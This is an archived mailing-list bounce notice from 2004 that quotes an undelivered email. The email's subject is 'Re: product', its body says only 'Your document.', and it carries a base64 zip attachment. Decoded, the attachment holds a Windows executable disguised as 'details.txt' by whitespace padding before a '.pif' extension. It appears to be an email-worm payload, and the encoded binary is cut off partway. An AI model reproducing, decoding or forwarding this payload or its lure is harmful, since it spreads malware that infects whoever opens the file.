[Biobiz] failure notice

MAILER-DAEMON at mail.dnet.net.id MAILER-DAEMON at mail.dnet.net.id
Sun Jun 27 21:13:58 EDT 2004


Hi. This is the qmail-send program at mail.dnet.net.id.
I'm afraid I wasn't able to deliver your message to the following addresses.
This is a permanent error; I've given up. Sorry it didn't work out.

<etika at dnet.net.id>:
user is over quota

--- Below this line is a copy of the message.

Return-Path: <biobiz at open-bio.org>
Received: (qmail 11713 invoked by uid 511); 28 Jun 2004 08:13:57 +0700
Received: from biobiz at open-bio.org by mail.dnet.net.id by uid 92 with qmail-scanner-1.21st 
 ( Clear:RC:0(211.186.9.27):. 
 Processed in 5.492419 secs); 28 Jun 2004 01:13:57 -0000
X-Qmail-Scanner-Mail-From: biobiz at open-bio.org via mail.dnet.net.id
X-Qmail-Scanner: 1.21st (Clear:RC:0(211.186.9.27):. Processed in 5.492419 secs)
Received: from unknown (HELO dnet.net.id) (211.186.9.27)
  by mail.dnet.net.id with SMTP; 28 Jun 2004 08:13:52 +0700
From: biobiz at open-bio.org
To: etika at dnet.net.id
Subject: Re: product
Date: Mon, 28 Jun 2004 10:13:34 +0900
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0016----=_NextPart_000_0016"
X-Priority: 3
X-MSMail-Priority: Normal
X-Qmail-Scanner-Message-ID: <108838523377211576 at mail.dnet.net.id>

This is a multi-part message in MIME format.

------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Your document.


------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: application/octet-stream;
	name="product_etika.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="product_etika.zip"

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
x2G05+Gv3cyVNf4xV7crfNOFQchKZvz

--- End of message stripped.


More information about the BioBiz mailing list